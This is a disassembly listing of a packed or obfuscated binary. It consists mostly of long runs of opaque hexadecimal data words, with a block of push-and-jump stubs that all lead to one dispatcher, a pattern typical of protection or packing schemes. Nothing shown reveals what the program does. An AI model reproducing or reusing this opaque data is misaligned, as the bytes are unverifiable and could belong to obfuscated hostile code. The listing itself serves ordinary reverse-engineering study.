0D3023BADh, 5001AD3Eh, 0B0AD3ECBh, 9B2AC918h, 87A4CAB3h dd 80FDE994h, 0FC0A30E9h, 0B353E072h, 0B8E5E152h, 0E4A729D8h dd 9018FC35h, 0CFC1015h, 753F195h, 4C410000h, 0BCB45F31h dd 4A44CFC1h, 0BEA65133h, 5042CDBFh, 0EEDC5B2Dh, 6D5F1E14h dd 0D0ADA2h, 6D5F1E15h, 0F2D2ABA2h, 4512D1Ah, 90A723E1h dd 9924AD25h, 20D9D0ADh, 45543B5Ah, 9A39304Dh, 417DD32Ah dd 94DD9408h, 3403E697h, 3E8E1B3Ah, 0A9D079ADh, 0BF79D6D1h dd 0DBD28370h, 5F5FCCA2h, 0B359888Ch, 0E37281A8h, 5F168FEEh dd 28413C32h, 36C5C971h, 0A2F14F9Eh, 3DADA985h, 5AE9AD39h dd 0F6DC0255h, 1837DE87h, 99E014B5h, 7508EB9Ah, 0FADAC4BDh dd 8A5C90D4h, 7650DF2Eh, 3E57538h, 56304330h, 3C37507h dd 3B5AE495h, 5903C375h, 0B5F1F2CAh, 5A1331C0h, 0F9413C2Fh dd 0FDEEFD2Ch, 0C2E25401h, 1A194003h, 0C2E27D1Ch, 44EA1F03h dd 2372CE1Dh, 82661704h, 0C0C933FBh, 0E409D81Dh, 2007B635h dd 8F3E6B5Dh, 0FF8EE499h, 179F7508h, 79556BD4h, 65B6E00h dd 54390000h, 0F4DCA729h, 927C0789h, 0F6EE99EBh, 987A0587h dd 5644E3E5h, 25A7D6BCh, 8808755Ah, 656716FDh, 0FACAB39Ah dd 0C492522h, 88A723E0h, 6CC4A51Dh, 211D0E1Dh, 0AD3EDE74h dd 611C1520h, 0ADE89148h, 9B0B9C4h, 60C6C031h, 88B353F6h dd 0C7FE9B9Bh, 6B9EA729h, 0B6AF5AC3h, 2049341Bh, 0C6DF9E95h dd 2B51462Bh, 0C1080016h, 0BDB5AC85h, 0A78FC32Fh, 0FDBB950Dh dd 0A13241AEh, 0C0D800C3h, 17254D52h, 0AD3EF343h, 0DCD6B663h dd 0AD3ECAB9h, 3ECA9BBAh, 6236C5ADh, 0C9FF4DDBh, 71CFBC72h dd 0C6290522h, 0E2B35965h, 8542E37h, 73A72456h, 0A7245621h dd 23F9846Bh, 3E06599h, 9A9C2EEBh, 0FA000005h, 99646419h dd 11FCCCB1h, 9B666617h, 0FFACAB3h, 0D170601Dh, 324B41DBh dd 0BBC2A752h, 324B3EC9h, 0BDC0A752h, 585653CBh, 0A723DF39h dd 0C494EA5Bh, 2B52396Ch, 926C7B32h, 0AD3EDEC3h, 62D1A8D1h dd 59D98F64h, 0C9CA79B3h, 58E35E9Eh, 99A0024Ch, 0EB423E47h dd 362FDA43h, 2AC9B49Bh, 971A499h, 6825A96Ah, 0AD64FD80h dd 0FDB40185h, 1ECF8E68h, 9CCDA724h, 0DF86F7F1h, 0CB66FF36h dd 4C3799E4h, 86851C61h, 0F36A13F7h, 930A7356h, 0B0DB93DAh dd 0BEA1C8B5h, 640D06B5h, 60FA25A2h, 0F0089C1Ah, 1B0888F5h dd 0B9B5826Ah, 0A7243B9Ch, 522851F8h, 0E757CADFh, 1612E6Bh dd 54010000h, 7759215Ch, 0E1D6CC4h, 540DDA30h, 1969FAB3h dd 0AE38AE40h, 815D042Dh, 0A7291FD2h, 0B28C189Eh, 4E28C716h dd 0AD3E4F88h, 681375A4h, 0CC69007Dh, 0FF2C9CE1h, 0DBDB5C4Eh dd 0AD3E4EBEh, 45022BDEh, 6BE1204Ch, 83502667h, 7D7976C5h dd 0B353D3D1h, 39253CEDh, 0A729C318h, 3F32E3D0h, 0C86E273Eh dd 0EDBA36AEh, 0AC6BECDAh, 1C522B21h, 456Ch, 6CC45E00h dd 91162037h, 2059E21Eh, 77262013h, 25AD3E5Bh, 0B7259F4h dd 9693DB92h, 535FA298h, 181742B3h, 4FFA836Dh, 534E2459h dd 0C0BDA954h, 0BC4AF0A9h, 0A7295E99h, 0D753DF4Fh, 6BEC7AD2h dd 9726h, 9F869800h, 482AC7DEh, 0A6A12C35h, 4C43CED7h dd 1655F31h, 0E9AD3EE4h, 0DA5DFCFAh, 0A3FAD3Eh, 3F3E2964h dd 0F948004Dh, 8264FCFAh, 1940B356h, 0F4896B1Ah, 98A44F7h dd 0DF37221h, 87346165h, 0E9EDFCA4h, 77165C28h, 9E74E895h dd 12FC1247h, 3D3F397h, 0CCC10000h, 3C34DFB1h, 0CAC44F41h dd 3E26D1B3h, 0D0C24D3Fh, 6E5CDBADh, 0EDDF9E94h, 80502D22h dd 0EDDF9E95h, 72522B22h, 84D1AD9Ah, 10A723DCh, 97242DA5h dd 0B9004FAFh, 2F5E143Dh, 0C550403Dh, 63D1B3CAh, 51DE9F86h dd 0B6AFCEC4h dd 0A53037FFh, 83FAEFAAh, 376CDAAAh, 0AD3F5F16h, 3E5F3C5Dh dd 1D6CC4ADh, 58BB300Eh, 30D9B359h, 0F5EDA39h, 6AC42620h dd 11BCAD39h, 0F28B7F1Ah, 0C36B223Bh, 0D08D695Ah, 0CCAD2F62h dd 7A3975B7h, 4D24BEA9h, 0BD403024h, 55CCFA0Ah, 338B1h dd 6775C00h, 6617FB86h, 0C8B59B66h, 2C513DC8h, 0C2BBB15Ch dd 9B7563C2h, 39C4C4B9h, 0B05B2D50h, 39C4C4B9h, 0C55D2F4Eh dd 0DCAFEEC8h, 78EDA723h, 0DE9F860Ah, 3A432AC7h, 91C0BEADh dd 3AD3EDEh, 0BD492670h, 0E990CF35h, 38903D91h, 876E1203h dd 46EFE388h, 7581CDA9h, 6C9DB353h, 644809F5h, 16A0A729h dd 7D65229Eh, 87346BECh, 0FC1A7795h, 0ADE1990Eh, 3Eh, 376CC41Fh dd 0BB503B5Fh, 1F5E52DEh, 0CFA6CF86h, 5077B360h, 5BE72E08h dd 22181613h, 8EB3535Eh, 0E5C678FDh, 0DB934D20h, 0F4CED782h dd 0A729A1A1h, 0BF3BA747h, 6BECBDEAh, 0E50Eh, 9F86C000h dd 482AC7DEh, 1F07B635h, 491185Eh, 0E9949009h, 0B690A390h dd 0AD3EDEE7h, 0D38CF1E3h, 0DAD9D0A6h, 0DEB0EDC9h, 3DECAD3Eh dd 2A6F56F5h, 862F3647h, 7FE3DDAFh, 6BAD3EE3h, 0E38BF2DAh dd 33C0BDA8h, 0AAD0ADA2h, 9745B26h, 73A559EAh, 7E22290Ah dd 0E6A57530h, 0F33B85DAh, 52A11F6Ch, 7D59D9D5h, 0BC49B353h dd 17B2ABD2h, 4C224B32h, 0D9666613h, 3C412C5Fh, 0DBA28825h dd 0B620BC2h, 2374221Ch, 0F920AD41h, 14694BFAh, 0F9846617h dd 1D71C970h, 17FD8072h, 0FA07DF67h, 0E28E20D9h, 0B2000001h dd 41CCBCC1h, 0A9543449h, 43CEBEBFh, 0A752324Bh, 59D8B8C5h dd 0DAA38963h, 532A1FEAh, 0DAA38671h, 55281FEAh, 0D0AE9B73h dd 0A723DA81h, 862CA213h, 495AD9A4h, 3EDF306Dh, 75BD6CADh dd 0FE7F6611h, 6CC4408Eh, 5E495039h, 0A64F561Fh, 0E06660CFh dd 0FCB353E2h, 3A2FDE4Dh, 0D6731A43h, 0BAE58DF0h, 29DBADE0h dd 8B383BA7h, 0C6263661h, 0ED87AFF4h, 44B0F975h, 0C1486BECh dd 7A000000h, 0C7DE9F86h, 2C35482Ah, 59A8C3Fh, 1AEE9FF1h dd 4474EA54h, 0E7DEAD3Eh, 0EC9996h, 52DE47Dh, 6E0FF681h dd 0D12098F7h, 46D26462h, 5702B353h, 14C2BD8h, 0B40C615Dh dd 0A5CDB099h, 0E91C9421h, 2CE57C01h, 7557E605h, 0D8D46108h dd 85A6CCA5h, 40898EA9h, 101F4AADh, 1EE8F85h, 0ADF0DA52h dd 2E487533h, 16ACDB57h, 8FE8B6Bh, 0ED45EC75h, 81FCEE99h dd 709D99Bh, 3CCE4BFAh, 0E5h, 0CDBFBEAFh, 5D2F4E42h, 0CFC1BCB2h dd 53354844h, 0C9BBC2A8h, 0B0A27C6Ah, 1710FBCDh, 0B89B6666h dd 4D38C3C5h, 0CBC86030h, 23D9AEEBh, 777EEA7h, 0CCB19924h dd 37561CD5h, 0DDA82855h, 8B398BF2h, 0C7DE9F86h, 4A3A432Ah dd 0C6B7B05Dh, 56A52370h, 0D916DDD9h, 0EDFEB359h, 23E44411h dd 512950A7h, 0B13C6514h, 3AC5C7B6h, 47332A53h, 0BED02648h dd 859D159Fh, 611C0F8Ah, 0E8E89148h, 524B321Dh, 41AECFB7h dd 0B5E09D94h, 0EEA7BEBFh, 9D942148h, 0C26B12FCh, 66170E9Bh dd 3138452Bh, 0B4D1ACA4h, 0F93E7202h, 0E2CDE57Dh, 0A018C9Bh dd 40CBBB73h, 0ABB3845h, 0C14E5726h, 0E8779362h, 30062F48h dd 0E5893A39h, 0AEC4AA66h, 16C389B1h, 0ED000000h, 0D0AD9924h dd 695A20D9h, 0B6FE893Ah, 0ACBBD593h, 0BB73BAC3h, 0D8A586CDh dd 344944D1h, 0D4A9A02Dh, 364740CDh, 0CDB0A22Fh, 2A5339D4h dd 0CFAE9633h, 28553BD6h, 81FCF481h, 895304E8h, 4C381E3h dd 83000000h, 1C3304EBh, 241C3124h, 5C241C33h, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 7668241Ch, 8900006Dh dd 0B9512404h, 73F4434h, 0DBB6B1BBh, 8BCB01FEh, 0C483240Ch dd 48B5404h, 4C48324h, 89DD8955h, 2C8B0868h, 4C48124h dd 8B000000h, 89502404h, 405E0h, 0C0830000h, 24048704h dd 241C8B5Ch, 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch dd 0FFFB4220h, 8F23D82Ch, 68CB9446h, 1B0633B8h, 0FFC50306h dd 96FC3AE0h, 1966C127h, 67BA661Fh, 0CC59F23Eh, 9AB47B4Dh dd 0F375BF5Ch, 0DAE944h, 0F01C0000h, 9CD76EDBh, 0C8C3CA45h dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h dd 0 dd 9D744700h, 99E0E312h, 5Eh, 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5DB5DF ; --------------------------------------------------------------------------- push 61B099Ch jmp loc_581882 ; --------------------------------------------------------------------------- push 61B0AA1h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B0B5Fh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B0CFEh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B0D83h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B0E4Ah jmp loc_581882 ; --------------------------------------------------------------------------- push 61B0EDAh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B0F57h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B1013h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B114Fh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B122Dh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B136Eh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B1467h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B15BBh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B16DEh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B1886h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B1943h jmp loc_581882 ; --------------------------------------------------------------------------- db 98h dd 58C7AE1Eh, 978C69D9h, 60CFA616h, 8EA570E0h, 0C2D9BC2Ch dd 0E454D6C9h, 2D9D2211h, 0E959DB48h, 2494170Ch, 0ED588651h dd 169DFAA4h, 2476C647h, 0D59B5FC7h, 2ED4970Ah, 0A41F3D01h dd 1086137Dh, 0D13B2F00h, 0C0FDCA0Bh, 3D1A8AE8h, 0A2BCB061h dd 86FFFE23h, 0BEAC7D10h, 977EEE4Dh, 1F3F6F0Fh, 9BF66CA4h dd 0F620F116h, 0FAC52F28h, 7ECFD64h, 9342153Ch, 0E8C7D816h dd 427AA302h, 8C031693h, 0CDC52821h, 274B9DBDh, 5F000000h dd 3DB0BABh, 9BF5F040h, 7ABC8D16h, 93F1D2FBh, 0C9F49B16h dd 3BAB0829h, 2D6802FBh, 9DBD1CC0h, 0C448h, 0C7246400h dd 0C92A8757h, 8A605D59h, 0A313978Ch, 8DFD7E73h, 0AB1B9889h dd 0F788E7CAh, 21A21086h, 8FA81895h, 0AE814BE2h, 4B2A05DBh dd 0E151B2FFh, 132D8B5h, 96241282h, 19ACB2E2h, 169CE471h dd 5C4A2BFCh, 80F0509Ch, 64CD8FAFh, 0ADA29404h, 9307D1F8h dd 3EAE0F16h, 83D9B182h, 8B697FC0h, 112DFE10h, 6332A220h dd 1FFE6ECCh, 0B1BDAD7Ah, 4373CFE5h, 0C0000011h, 0F03FD646h dd 0DF542191h, 1807EE5Eh, 0D64D2898h, 9A11E454h, 0AC1C9E11h dd 65D55AC9h, 0B121A390h, 7CEC4FE4h, 0A5202E99h, 169DFB7Ch dd 24BE7EFFh, 2B8856C6h, 635C5ACAh, 7562EC87h, 9FB54D16h dd 7AFD3673h, 57330C0Ah, 0CE959DAh, 0DB0BAB20h, 0F5F04003h dd 0BC8D169Bh, 0C33391A2h, 2610FAD3h, 93F17E9Fh, 1D900716h dd 0EE5EDCD5h, 0B1F3DFA8h, 511670F2h, 48B8357Eh, 1A99714Eh dd 9DBDCD8Fh, 0B815h, 0C724F100h, 0F0525F57h, 6BC89680h dd 0AFA09606h, 0F793E0BBh, 6BC81086h, 0A09D9909h, 7AEA49CAh dd 94407364h, 87F51067h, 189B88E3h, 3CFC6EA8h, 8001320Ch dd 0FAE47A10h, 0B2D438DDh, 861BCE13h, 0BB9CAD10h, 0E08ACF1Bh dd 9CD51DC5h, 26CFE016h, 6EDB3324h, 0C3FDE282h, 9DCD7127h dd 665602C1h, 1627108Bh, 1787EB48h, 1A8AEA47h, 0AC0E2570h dd 1D32A220h, 0BDA6D180h, 20A492B1h, 103Eh, 1CF969C5h dd 6332A207h, 740171CCh, 2CC939BFh, 720373F7h, 0B73B7635h dd 0FE81AE47h, 0BC38E78Eh, 0F97AA94Ch, 0F3DBEC89h, 9DF80950h dd 0C973F416h, 0BF56C624h, 0D2A31370h, 57C72466h, 81F1525Fh dd 4EBE3FF4h, 68D85B48h, 0C42D248Dh, 4BFAC4F4h, 169BFBC7h dd 0BA0995A6h, 0E042A92h, 0D343C0F1h, 8DBD8137h, 297212B1h dd 0BBA1EB03h, 32AEC108h, 2A9A1F13h, 9CAD13ECh, 5FDDCAEEh dd 0F9D6A7EFh, 5B8B2BBDh, 0A7EA5983h, 461332AEh, 4BF9575h dd 152B3805h, 3A774758h, 544D49B9h, 9E4C63D3h, 0B0189B98h dd 0C5040859h, 26CFE0FFh, 8FEE7AF9h, 0B86D301Fh, 0AFB41E85h dd 0F803DC5h, 3830000h, 0CC2D0293h, 0B6AB95Ch, 0C325FA9Bh dd 0D6DC253h, 0E8A3F89Dh, 30C535B5h, 690C7C03h, 2BCA3ABAh dd 6E0777F4h, 87CA7965h, 66169DF9h, 0C72497A5h, 25D95F57h dd 0BEF3E9F5h, 8520CA3Ah, 169C0A4Dh, 0CC15B0AEh, 0AF1693EAh dd 0ACCEC9Eh, 93EA163Bh, 0CFC4D516h, 0C7B8FE6Eh, 5DDDD6E8h dd 36D4A9EDh, 7FAF4F57h, 0B3347D5Fh, 397A5343h, 3A248B8h dd 1089386Fh, 0B98C528Ch, 1CACB590h, 0B6DB4A5Bh, 0D31CACB5h dd 0ACB52970h, 5DC3D41Ch, 29FA9E4Ch, 31A11C15h, 0B4620805h dd 0F666C9EAh, 801BCFC0h, 1CACB55Dh, 981F142Ah, 7911EE28h dd 2FBA8F3Eh, 0B5A3D261h, 6Fh, 0DE624FD1h, 0FFF496Eh, 0FABD630Eh dd 0A6D6AA10h, 0CB022D98h, 72BF169Ch, 8EFE820Eh, 0F29875A1h dd 21EF05CEh, 658F5CCEh, 0B83F744Ah, 99714E48h, 9E0E6EC3h dd 0DF5E53F7h, 0C948EA77h, 90BF3724h, 0E2C1A9A6h, 16934CBDh dd 40C04CAFh, 3416FFD0h, 4C769B2Ah, 24F51693h, 0D3AA3413h dd 0ED9DD206h, 6650C03Ch, 0E5DDEh, 56D7DC00h, 4F1004E6h dd 0EE8ACF86h, 9C3C7E2h, 0F58FA829h, 0B4DE8CC1h, 3B0AD404h dd 16A115ECh, 2F845A6Bh, 6AB95CCCh, 0B9D9909h, 0A0233B6Bh dd 10BA0A6Eh, 0B300DEEFh, 0DEE050h, 0B0081C45h, 1FFA761Ch dd 0EBADF4DBh, 0E7866435h, 0EB5ABB38h, 1CB040A6h, 5B5B7445h dd 0E5F929CDh, 868CDEF7h, 0B6632F1Dh, 83A5E9D4h, 5B481AAAh dd 5D3264D4h, 0BCE4AB72h, 7D77AB9Fh, 0DE1F5h, 34A42200h dd 0FF6FD261h, 3CAC0916h, 0F666CA59h, 42B2101Fh, 0FCB7F4B3h dd 0B8670E7Eh, 12EC737h, 0AD821383h, 8C37DE4Eh, 0FEDE03C2h dd 0DC9D169Dh, 0F297B660h, 0B0501086h, 93A0BE80h, 8E77BF2Fh dd 0F8AF511Eh, 7A103F49h, 0A18A194Bh, 94CFD816h, 5D3E3337h dd 8FA4BA95h, 75D9BC2Ch, 19DD9460h, 0B654EFD1h, 9086F675h dd 1826562Ah, 1A8AED46h, 5C47231Ch, 1087D724h, 340598A9h dd 2BB1BA5Ah, 0D5CA909h, 47A70000h, 90F13ED7h, 5FDE5520h dd 971906EFh, 61E14E27h, 48724F1h, 0DCB92989h, 0A570E047h dd 0D7BE2E8Eh, 9A7BEB48h, 7B9E2529h, 2169DFFh, 0C724BB81h dd 0F1525F57h, 0B4A69581h, 1371FD7Fh, 0BD8A8CA3h, 95CBB758h dd 67032C67h, 61CC7D30h, 0E797A8B0h, 876h, 0EA0BABC3h dd 86F2365Bh, 0CBE4B510h, 0F90950F3h, 23F416A1h, 2191161Bh dd 759C27F5h, 0F8169DF5h, 0DC620827h, 11E454D7h, 37B6084Dh dd 85426E57h, 5FC724E5h, 0A294EF15h, 7DF83B12h, 91F4220Dh dd 169DE84Ch, 19255529h, 42289818h, 3CF5E2FCh, 90C79F10h dd 62D2555Eh, 14AF5B34h, 1087A7DCh, 86F674A1h, 88FDD4A9h dd 5066B1BAh, 0C95F4h, 0A0106E00h, 6BDB5ED5h, 0A818958Ah dd 62D256CDh, 0AE1E9C93h, 0E8DBD0C7h, 0A47B1A8Ah, 0ED42D343h dd 0A9761F8Fh, 883BDA4Ah, 0FCDAFFC6h, 0E0A1169Dh, 57C7245Ch dd 81F1525Fh, 0A00FA695h, 0A81E44A9h, 7C0CC97h, 0B6E00000h dd 1086F297h, 0BE80B050h, 0F2FC25A0h, 0AE7F1086h, 0C6CB7ABCh dd 0A516A1F9h, 9F94CA94h, 4FBCAE1Eh, 8A997CECh, 0EB7DB929h dd 80431B4Bh, 10870D48h, 1C8CE815h, 0ED5E8342h, 0C1D1CB6h dd 31015A23h, 0D0E6B1BBh, 0C0574h, 1080FE00h, 0DB4BAE85h dd 1888E53Ah, 0D242A67Dh, 1E8EEC43h, 386B2077h, 74AB4ABAh dd 3DF283F3h, 79A64FBFh, 0D8EB8AFAh, 0FC0A4FF6h, 70F1169Dh dd 57C724CCh, 81F1525Fh, 0A00FA695h, 0A81E44A9h, 730CC97h dd 0ABE00000h, 4003DB0Bh, 16A1F9A4h, 0E656DAD7h, 8B2BDFB0h dd 2C8FA4BAh, 0E94AD9BCh, 97B63D79h, 50169DF5h, 7BE80B0h dd 10870DD3h, 81F4899Ah, 5AB1BB31h, 0B88D85Ch, 0FB7B0000h dd 0B435EA8Bh, 382B144h, 0CB2D0293h, 565BA5Bh, 0E0AB0095h dd 38DD4DADh, 811484EBh, 13E252B2h, 462F9F1Ch, 0AFF2517Dh dd 4E169DFDh, 864F6FCDh, 5EE54FC4h, 74B5554Dh, 0A28F87F7h dd 7685B121h, 1122D0FFh, 7A5343B3h, 78982590h, 0A32097A8h dd 0FC000006h, 86F292B6h, 71A15510h, 79E9446Dh, 8FF8CB91h dd 0CE16A1F9h, 0FA10390Ch, 0CADB169Dh, 5BD8D9E5h, 96150AEBh dd 0A11CA80Ah, 27181E31h, 36283608h, 9DFA4A8Fh, 0C5603116h dd 169DFA9Ch, 0E2454E5Fh, 0C9E9872h, 7EA5446Ch, 6CEFD908h dd 0B6367B43h, 3392A446h, 1080E87Fh, 0D7502DFEh, 8B1BB2Eh dd 0ACC86EEh, 0B7370000h, 81AE47h, 0CF2E0590h, 769B65Fh dd 0D131FE97h, 94179461h, 4C299919h, 15E050D7h, 472E9E1Eh dd 0AEB5BD8h, 0EB2E95B9h, 92169DE2h, 0C7246BD1h, 587D5F57h dd 1CEA0CC3h, 44C5A5ABh, 4A6777E7h, 4F4076E6h, 0DFD6719Bh dd 0E454D7F0h, 0AC19A411h, 549F97A8h, 7B000001h, 5F57C724h dd 0F481F152h dd 42A6F2C6h, 62E1FDD2h, 169BFB2Eh, 0AC33084Dh, 833F62E1h dd 0EDBE1693h, 0CE7B37CAh, 6BAB7C1Ch, 9376C508h, 0D807B216h dd 0BDA20C71h, 3A949Dh, 0ABA80000h, 4003DB0Bh, 169BF5F0h dd 947ABC8Dh, 2B8C189Fh, 0ADA294BBh, 0F1BFDEBDh, 0D1481693h dd 1CFE6BDEh, 0CE869DBDh, 0C4000000h, 0E0DF3993h, 340316E2h dd 8E1A6FBBh, 0BF73174Ah, 5F57C724h, 9680F052h, 68AE1E9Dh dd 0B7D7B1A6h, 75B33876h, 0BFAB84F4h, 0F481F152h, 872092D1h dd 0EF5FDC10h, 0B0E0A006h, 0F0F917AEh, 0B780169Eh, 1715E0B6h dd 0BD81AE99h, 0D6FD249Fh, 0B780169Eh, 70DBB17Ch, 0AA406F3Bh dd 3194CA94h, 169EB0E8h, 9BC8293h, 169EB0C0h, 43F09AABh dd 79A64FBFh, 75F489F9h, 6EB7D30Eh, 990EC48h, 13730000h dd 0DC5DD2A3h, 1B9A896Ch, 0D355CAABh, 1D9D9263h, 0D8D3C8ADh dd 801585E5h, 39DC4CB3h, 7B1A8AEAh, 3ED747A4h, 0D7FAC995h dd 96169DE3h, 0C62467D5h, 29B7B85Eh, 0D76EEAC4h, 1086E6B2h dd 68476839h, 0F70C18Dh, 0C4A6979Fh, 0A174E447h, 0CF864F9Bh dd 3882EE42h, 0A0C7CFFh, 0C3701A35h, 0CDE6D040h, 0ED5DE26Eh dd 0FAD545A6h, 490951Bh, 0AB710000h, 365BEA0Bh, 0B51086F2h dd 50F3CBE4h, 169BFC2Ch, 6FD6C0D1h, 1693F82Eh, 6551C140h dd 3A7CEC4Ch, 3E0CF36h, 8CBDF0A7h, 9DBD2421h, 1C3A7h, 9CB68300h dd 571086F2h, 66D65BA7h, 6E705F30h, 0A1F9EAD7h, 9EA07116h dd 98A61695h, 0C2A8189Bh, 8FFF7CB3h, 2D5D2187h, 0F2FEB211h dd 0AE7F1080h, 0BB464ECFh, 179B99B1h, 8B2h, 0F085F551h dd 0A74EBE43h, 0E88DFD78h, 0B045B53Bh, 0E68FFF83h, 63C7FAB1h dd 0AA0D22F3h, 68C45B3Ah, 0A5061DF8h, 67776035h, 9DE0B5DCh dd 85B73816h, 5F57C724h, 9581F152h, 0DE14BBF2h, 0F21C4500h dd 0F3521086h, 6BA9383h, 57D45535h, 8EFED7E7h, 25FC1F92h dd 62EC8763h, 9383F351h, 58E5D0BAh, 0E097A835h, 120h, 57C724BCh dd 58C82A87h, 0C6F84B2h, 0DB1F99Ch, 1DB01DDh, 86F21F42h dd 0EACDDE10h, 76600049h, 207B6FC8h, 169B2EE8h, 1372A475h dd 16932CCAh, 9BB4A1B3h, 31073A8Ah, 1AC5EC9Eh, 0BD59CA2Fh dd 2C529Dh, 0AB660000h, 4003DB0Bh, 169BF5F0h, 37A7062Bh dd 3C5C0EFFh, 85C82B6Bh, 721693F1h, 0CC3118C7h, 549DBD1Ch dd 0A6h, 5BCB298Ah, 0C7248BAFh, 347D5F57h, 6AA743B3h, 859E9808h dd 0A9199A26h, 20A39086h, 8EA91994h, 0CB8004E1h, 30C5EAC2h dd 879F4695h, 0DB4BA810h, 0A223103Ah, 9E625832h, 258E506Eh dd 6D6254C4h, 0B7F01E7Dh, 0A27169Fh, 0FD39A9h, 0EB49366Ah dd 0C4263B7Bh, 426D6254h, 0E260516Dh, 2E8CA372h, 7B48DFBEh dd 0A193B7D2h, 77121h, 0C4349200h, 0F7F0231h, 0CC3CB966h dd 676FA29h, 0D242C06Fh, 6C276443h, 28F79E0Eh, 71BE57C7h dd 5DD2A313h, 3C876EDEh, 0E16EB312h, 8C0D169Dh, 56C624B0h dd 0A31370BFh, 0C72466D2h, 0F1525F57h, 9BD0F481h, 0EC000002h dd 6DDD624Fh, 0FCB65429h, 93320C3Ch, 16A1F9B0h, 9DC47F5Dh dd 0FE169DFAh, 9DFA0247h, 68D8E916h, 3203B357h, 0FA5C8104h dd 6E29169Dh, 229F0A3Fh, 0F23F9DC3h, 82411D8Dh, 169DF65Fh dd 0BD5D0D1Eh, 226h, 3F62E1FBh, 0BE169DF6h, 4F15FDEDh dd 558C488Dh, 5BCDD821h, 8609A7EAh, 0CB3BB910h, 7D4EF2CBh dd 9E42E8Dh, 0EF8F1086h, 0B249FBFh, 0A16A102h, 0AF0C2539h dd 6AC9563Fh, 0E1D2BCFAh, 0A01AF060h, 85AEB0E0h, 8D82B424h dd 0F1CF12B1h, 9DAE169Ah, 607567EDh, 0DA0DF2E0h, 1A8961D2h dd 10870566h, 2A47D6E7h, 35B1B95Ch, 678C33Fh, 2B8B0000h dd 0E445DABBh, 3392A174h, 7BFD32C3h, 35B56A0Bh, 307B30C5h dd 0E88DFD7Dh, 0B144B43Bh, 3920282h, 0B65FCF2Ch, 5F82410Dh dd 1E169DE6h, 0C724DF5Dh, 0EE558757h, 1086F2ABh, 53C32552h dd 79456A63h, 86F287CAh, 0B5556610h, 99096A77h, 0B828849Dh dd 9606657Eh, 4B7227A0h, 15C8F198h, 0B669F8DDh, 0A8A30D44h dd 82F251C2h, 683BBEF3h, 43C197A8h, 0D5000001h, 5F57C724h dd 0F481F152h, 79E9496Ah, 27572791h, 0FB74AC17h, 28F9169Bh dd 0FB4687EEh, 882F1693h, 2789F455h, 420F9DBDh, 4D000000h dd 731787E4h, 0DB0BABBFh, 0F5F04003h, 62B169Bh, 1E0036A6h dd 93F162A7h, 17380916h, 0D7564373h, 715E2F67h, 647E5745h dd 86EA4598h, 0D3FAA941h, 9C169362h, 0FA7FCAF5h, 829DBDA9h dd 0B5h, 0E0624F96h, 1A999A70h, 0F3776CAAh, 1D9E9383h dd 0F2C009BCh, 41421086h, 0BB4DE8ECh, 0F8D7E858h, 0DE46A5BEh dd 0A4D9CFC8h, 2F9F230Ah, 163916E7h, 0DB65427Fh, 4671087h dd 0B98DCA94h, 797A4CD4h, 0C108BB83h, 0AC1087B4h, 16A4EF9Bh dd 992C3262h, 169FDC7Bh, 42D3102h, 5B7E45A6h, 22169E1Ch dd 0C8573E11h, 23FA6Ah, 63B7D262h, 524F151h, 5FDF0000h dd 981906EFh, 57D64D28h, 9F210EE7h, 59D9462Fh, 1C8F0CE9h dd 0E4B121A1h, 9D78E84Fh, 0DFB62686h, 0F283F350h, 346FDE1h dd 0EA169DE7h, 0C6241329h, 644BBB3Ah, 0B921A291h, 8CD1E55Ah dd 6D082725h, 0CA864FBFh, 3ABFEBEDh, 44A76406h, 72D1E2D4h dd 0A3223C02h, 1086B57Eh, 2F3E2CFDh, 3191h, 624FA500h dd 999A70E0h, 9F94AA1Ah, 936CAA1Ah, 0C7243DF7h, 68CF5F57h dd 81F15275h, 2BD0F4h, 0D00E0000h, 86F22C75h, 0B5FECF10h dd 0FCD1C535h, 0C724260Eh, 0C82A8757h, 66D65B58h, 81AB5F30h dd 86F2DA02h, 5C832E10h, 0FD98086Bh, 57C7242Fh, 0F525D95Fh dd 0F969C8E9h, 44114B11h, 0DA246B81h, 0CB75382h, 16A1493Fh dd 0EF28753Eh, 6C54D58Bh, 0AC451D4Bh, 0ECC3827Ah, 0F262E1D2h dd 0F161C7ECh, 7D07A19h, 950E11AFh, 0BA0B2CDAh, 0CFFD51D0h dd 42C17218h, 0A256E4D2h, 0A7D96C72h, 2610BA00h, 8BE84915h dd 46A57A1Bh, 0A65AE0D6h, 0B1DD6876h, 341AAB03h, 3F719A63h dd 0F6AB9Fh, 40184h, 14840200h, 0DF4FB281h, 1C8CE936h dd 0D646AA79h, 2292F03Fh, 5C575453h, 98876EDEh, 61CEA717h dd 8DA273E3h, 0ECD7BE2Eh, 0E43E63E2h, 3CBD169Dh, 57C72400h dd 0A21271BEh, 8CFC7F74h, 716BEF8Ah, 86F28FD2h, 0AD5D6E10h dd 8FECDB02h, 0F272972Eh, 0CF91086h, 4F93DADh, 4471042Bh dd 97A819B9h, 493Fh, 0B4347D00h, 7857C728h, 624FAA92h dd 137D6DDDh, 22921763h, 2A341BF4h, 5238A809h, 